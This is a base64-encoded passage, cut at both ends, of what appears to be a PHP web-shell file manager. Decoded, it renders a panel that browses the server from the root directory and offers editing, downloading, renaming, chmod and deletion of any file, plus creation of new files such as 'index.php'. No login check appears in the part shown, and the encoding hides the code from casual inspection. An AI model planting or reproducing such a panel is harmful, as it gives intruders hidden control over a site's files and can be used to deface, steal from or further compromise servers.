ICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0b29sLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzaG93TmV3RmlsZU1vZGFsKCkiIGNsYXNzPSJidG4gYnRuLXNtYWxsIj5OZXcgRmlsZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9InNob3dOZXdGb2xkZXJNb2RhbCgpIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCI%2BTmV3IEZvbGRlcjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY%2BDQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudCI%2BDQogICAgICAgICAgICA8P3BocCBpZigkZWRpdE1vZGUpOiA%2FPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWRpdC1jb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxoMyBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMTVweDsgY29sb3I6ICM0YTllZmY7Ij5FZGl0aW5nOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKTsgPz48L2gzPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI%2BDQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNhdmUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgY2xhc3M9ImVkaXQtYXJlYSI%2BPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRlZGl0Q29udGVudCk7ID8%2BPC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDogMTVweDsgZGlzcGxheTogZmxleDsgZ2FwOiAxMHB4OyI%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI%2BU2F2ZSBDaGFuZ2VzPC9idXR0b24%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI%2FcD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA%2FPiIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsiPkNhbmNlbDwvYT4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BDQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9kaXY%2BDQogICAgICAgICAgICA8P3BocCBlbHNlOiA%2FPg0KICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJmaWxlLXRhYmxlIj4NCiAgICAgICAgICAgICAgICA8dGhlYWQ%2BDQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iMzUlIj5OYW1lPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iMTAlIj5UeXBlPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iMTAlIj5TaXplPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iMTAlIj5QZXJtaXNzaW9uczwvdGg%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjE1JSI%2BTW9kaWZpZWQ8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIyMCUiPkFjdGlvbnM8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDwvdGhlYWQ%2BDQogICAgICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZigkY3VycmVudFBhdGggIT09ICcvJyk6ID8%2BDQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI2Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI%2FcD08P3BocCBlY2hvIHVybGVuY29kZShkaXJuYW1lKCRjdXJyZW50UGF0aCkpOyA%2FPiI%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLWljb24iPj8%2FPC9zcGFuPiBQYXJlbnQgRGlyZWN0b3J5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8%2BDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAvLyBEaXNwbGF5IGZvbGRlcnMgZmlyc3QNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRzb3J0ZWRDb250ZW50c1snZm9sZGVycyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJzZXBhcmF0b3Itcm93Ij48dGQgY29sc3Bhbj0iNiI%2BPz8gRm9sZGVyczwvdGQ%2BPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc29ydGVkQ29udGVudHNbJ2ZvbGRlcnMnXSBhcyAkZm9sZGVyKToNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVBhdGggPSAkY3VycmVudFBhdGggLiAkZm9sZGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtcyA9IGdldFBlcm1pc3Npb25zKCRpdGVtUGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzV3JpdGFibGUgPSBpc1dyaXRhYmxlRW5oYW5jZWQoJGl0ZW1QYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbW9kaWZpZWQgPSBAZmlsZW10aW1lKCRpdGVtUGF0aCk7DQogICAgICAgICAgICAgICAgICAgID8%2BDQogICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0iZm9sZGVyLXJvdyI%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJGl0ZW1QYXRoKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icGVybS1pbmRpY2F0b3IgPD9waHAgZWNobyAkaXNXcml0YWJsZSA%2FICd3cml0YWJsZScgOiAncmVhZG9ubHknOyA%2FPiI%2BPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj4%2FPzwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Ijw%2FcGhwIGVjaG8gJGlzV3JpdGFibGUgPyAncGVybS13cml0YWJsZScgOiAncGVybS1yZWFkb25seSc7ID8%2BIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BRm9sZGVyPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4tPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iPD9waHAgZWNobyAkaXNXcml0YWJsZSA%2FICdwZXJtLXdyaXRhYmxlJyA6ICdwZXJtLXJlYWRvbmx5JzsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVjaG8gJHBlcm1zOyA%2FPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRtb2RpZmllZCA%2FIGRhdGUoJ1ktbS1kIEg6aScsICRtb2RpZmllZCkgOiAnLSc7ID8%2BPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWFjdGlvbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjIiBvbmNsaWNrPSJyZW5hbWVJdGVtKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlcik7ID8%2BJyk7IHJldHVybiBmYWxzZTsiPlJlbmFtZTwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgb25jbGljaz0iY2htb2RJdGVtKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlcik7ID8%2BJyk7IHJldHVybiBmYWxzZTsiPkNobW9kPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI%2FcD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA%2FPiZkbz1kZWxldGUmaXRlbT08P3BocCBlY2hvIHVybGVuY29kZSgkZm9sZGVyKTsgPz4iIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZGVsZXRlIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIHRoaXMgZm9sZGVyIGFuZCBhbGwgaXRzIGNvbnRlbnRzPycpIj5EZWxldGU8L2E%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyB9ID8%2BDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAvLyBEaXNwbGF5IGZpbGVzDQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkc29ydGVkQ29udGVudHNbJ2ZpbGVzJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9InNlcGFyYXRvci1yb3ciPjx0ZCBjb2xzcGFuPSI2Ij4%2FPyBGaWxlczwvdGQ%2BPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc29ydGVkQ29udGVudHNbJ2ZpbGVzJ10gYXMgJGZpbGUpOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtUGF0aCA9ICRjdXJyZW50UGF0aCAuICRmaWxlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXplID0gQGZpbGVzaXplKCRpdGVtUGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gZ2V0UGVybWlzc2lvbnMoJGl0ZW1QYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXNXcml0YWJsZSA9IGlzV3JpdGFibGVFbmhhbmNlZCgkaXRlbVBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtb2RpZmllZCA9IEBmaWxlbXRpbWUoJGl0ZW1QYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXh0ID0gc3RydG91cHBlcihwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSA%2FOiAnRklMRScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRzaXplICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkc2l6ZSA8IDEwMjQpICRzaXplID0gJHNpemUgLiAnIEInOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHNpemUgPCAxMDQ4NTc2KSAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQsIDEpIC4gJyBLQic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZigkc2l6ZSA8IDEwNzM3NDE4MjQpICRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NiwgMSkgLiAnIE1CJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQsIDEpIC4gJyBHQic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpemUgPSAnPyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA%2FPg0KICAgICAgICAgICAgICAgICAgICA8dHI%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1mbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDhweDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icGVybS1pbmRpY2F0b3IgPD9waHAgZWNobyAkaXNXcml0YWJsZSA%2FICd3cml0YWJsZScgOiAncmVhZG9ubHknOyA%2FPiI%2BPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj4%2FPzwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Ijw%2FcGhwIGVjaG8gJGlzV3JpdGFibGUgPyAncGVybS13cml0YWJsZScgOiAncGVybS1yZWFkb25seSc7ID8%2BIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4%2BDQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw%2FcGhwIGVjaG8gJGV4dDsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw%2FcGhwIGVjaG8gJHNpemU7ID8%2BPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iPD9waHAgZWNobyAkaXNXcml0YWJsZSA%2FICdwZXJtLXdyaXRhYmxlJyA6ICdwZXJtLXJlYWRvbmx5JzsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVjaG8gJHBlcm1zOyA%2FPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRtb2RpZmllZCA%2FIGRhdGUoJ1ktbS1kIEg6aScsICRtb2RpZmllZCkgOiAnLSc7ID8%2BPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWFjdGlvbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI%2FcD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA%2FPiZkbz1lZGl0Jml0ZW09PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA%2FPiI%2BRWRpdDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRQYXRoKTsgPz4mZG89ZG93bmxvYWQmaXRlbT08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8%2BIj5Eb3dubG9hZDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lSXRlbSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz4nKTsgcmV0dXJuIGZhbHNlOyI%2BUmVuYW1lPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjIiBvbmNsaWNrPSJjaG1vZEl0ZW0oJzw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8%2BJyk7IHJldHVybiBmYWxzZTsiPkNobW9kPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI%2FcD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA%2FPiZkbz1kZWxldGUmaXRlbT08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8%2BIiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImRlbGV0ZSIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSB0aGlzIGZpbGU%2FJykiPkRlbGV0ZTwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ%2BDQogICAgICAgICAgICAgICAgICAgIDwvdHI%2BDQogICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVuZGZvcmVhY2g7IH0gPz4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGlmKGVtcHR5KCRzb3J0ZWRDb250ZW50c1snZm9sZGVycyddKSAmJiBlbXB0eSgkc29ydGVkQ29udGVudHNbJ2ZpbGVzJ10pKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjYiIGNsYXNzPSJlbXB0eSI%2BRW1wdHkgZGlyZWN0b3J5PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8%2BDQogICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgICAgIDwvdGFibGU%2BDQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgPC9kaXY%2BDQogICAgPC9kaXY%2BDQogICAgDQogICAgPCEtLSBOZXcgRmlsZSBNb2RhbCAtLT4NCiAgICA8ZGl2IGlkPSJuZXdGaWxlTW9kYWwiIGNsYXNzPSJtb2RhbCI%2BDQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj5DcmVhdGUgTmV3IEZpbGU8L2Rpdj4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI%2BDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI%2BDQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlIiBwbGFjZWhvbGRlcj0iRmlsZW5hbWUgKGUuZy4sIGluZGV4LnBocCkiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZmlsZWNvbnRlbnQiIHBsYWNlaG9sZGVyPSJGaWxlIGNvbnRlbnQgKG9wdGlvbmFsKSI%2BPC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI%2BQ3JlYXRlPC9idXR0b24%2BDQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIiIG9uY2xpY2s9ImNsb3NlTW9kYWwoJ25ld0ZpbGVNb2RhbCcpIj5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgPC9kaXY%2BDQogICAgPC9kaXY%2BDQogICAgDQogICAgPCEtLSBOZXcgRm9sZGVyIE1vZGFsIC0tPg0KICAgIDxkaXYgaWQ9Im5ld0ZvbGRlck1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI%2BQ3JlYXRlIE5ldyBGb2xkZXI8L2Rpdj4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI%2BDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI%2BDQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmb2xkZXIiIHBsYWNlaG9sZGVyPSJGb2xkZXIgbmFtZSIgcmVxdWlyZWQ%2BDQogICAgICAgICAgICAgICAgPC9kaXY%2BDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPkNyZWF0ZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIiBvbmNsaWNrPSJjbG9zZU1vZGFsKCduZXdGb2xkZXJNb2RhbCcpIj5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgPC9kaXY%2BDQogICAgPC9kaXY%2BDQogICAgDQogICAgPHNjcmlwdD4NCiAgICAgICAgLy8gTW9kYWwgZnVuY3Rpb25zDQogICAgICAgIGZ1bmN0aW9uIHNob3dOZXdGaWxlTW9kYWwoKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3RmlsZU1vZGFsJykuY2xhc3NMaXN0LmFkZCgnYWN0aXZlJyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGZ1bmN0aW9uIHNob3dOZXdGb2xkZXJNb2RhbCgpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdGb2xkZXJNb2RhbCcpLmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiBjbG9zZU1vZGFsKGlkKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIFJlbmFtZSBmdW5jdGlvbg0KICAgICAgICBmdW5jdGlvbiByZW5hbWVJdGVtKG9sZE5hbWUpIHsNCiAgICAgICAgICAgIHZhciBuZXdOYW1lID0gcHJvbXB0KCdFbnRlciBuZXcgbmFtZTonLCBvbGROYW1lKTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUgJiYgbmV3TmFtZSAhPT0gb2xkTmFtZSkgew0KICAgICAgICAgICAgICAgIHZhciBmb3JtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpOw0KICAgICAgICAgICAgICAgIGZvcm0ubWV0aG9kID0gJ3Bvc3QnOw0KICAgICAgICAgICAgICAgIGZvcm0uaW5uZXJIVE1MID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZG5hbWUiIHZhbHVlPSInICsgb2xkTmFtZSArICciPicgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuZXduYW1lIiB2YWx1ZT0iJyArIG5ld05hbWUgKyAnIj4nOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZm9ybSk7DQogICAgICAgICAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gQ2htb2QgZnVuY3Rpb24NCiAgICAgICAgZnVuY3Rpb24gY2htb2RJdGVtKGl0ZW0pIHsNCiAgICAgICAgICAgIHZhciBtb2RlID0gcHJvbXB0KCdFbnRlciBuZXcgcGVybWlzc2lvbnMgKGUuZy4sIDc1NSk6JywgJzc1NScpOw0KICAgICAgICAgICAgaWYobW9kZSkgew0KICAgICAgICAgICAgICAgIHZhciBmb3JtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpOw0KICAgICAgICAgICAgICAgIGZvcm0ubWV0aG9kID0gJ3Bvc3QnOw0KICAgICAgICAgICAgICAgIGZvcm0uaW5uZXJIVE1MID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kX2l0ZW0iIHZhbHVlPSInICsgaXRlbSArICciPicgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaG1vZF92YWx1ZSIgdmFsdWU9IicgKyBtb2RlICsgJyI%2BJzsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGZvcm0pOw0KICAgICAgICAgICAgICAgIGZvcm0uc3VibWl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIEF1dG8taGlkZSBub3RpZmljYXRpb25zDQogICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB2YXIgbm90aWZpY2F0aW9ucyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5ub3RpZmljYXRpb24nKTsNCiAgICAgICAgICAgIG5vdGlmaWNhdGlvbnMuZm9yRWFjaChmdW5jdGlvbihuKSB7DQogICAgICAgICAgICAgICAgbi5zdHlsZS5vcGFjaXR5ID0gJzAnOw0KICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IG4uc3R5bGUuZGlzcGxheSA9ICdub25lJzsgfSwgMzAwKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9LCAzMDAwKTsNCiAgICAgICAgDQogICAgICAgIC8vIEtleWJvYXJkIHNob3J0Y3V0cw0KICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZSkgew0KICAgICAgICAgICAgaWYoZS5jdHJsS2V5ICYmIGUua2V5ID09PSAnbicpIHsNCiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICAgICAgc2hvd05ld0ZpbGVNb2RhbCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoZS5jdHJsS2V5ICYmIGUuc2hpZnRLZXkgJiYgZS5rZXkgPT09ICdOJykgew0KICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICBzaG93TmV3Rm9sZGVyTW9kYWwoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKGUua2V5ID09PSAnRXNjYXBlJykgew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5tb2RhbC5hY3RpdmUnKS5mb3JFYWNoKGZ1bmN0aW9uKG0pIHsNCiAgICAgICAgICAgICAgICAgICAgbS5jbGFzc0xpc3QucmVtb3ZlKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSk7DQogICAgICAgIA0KICAgICAgICAvLyBDbGljayBvdXRzaWRlIG1vZGFsIHRvIGNsb3N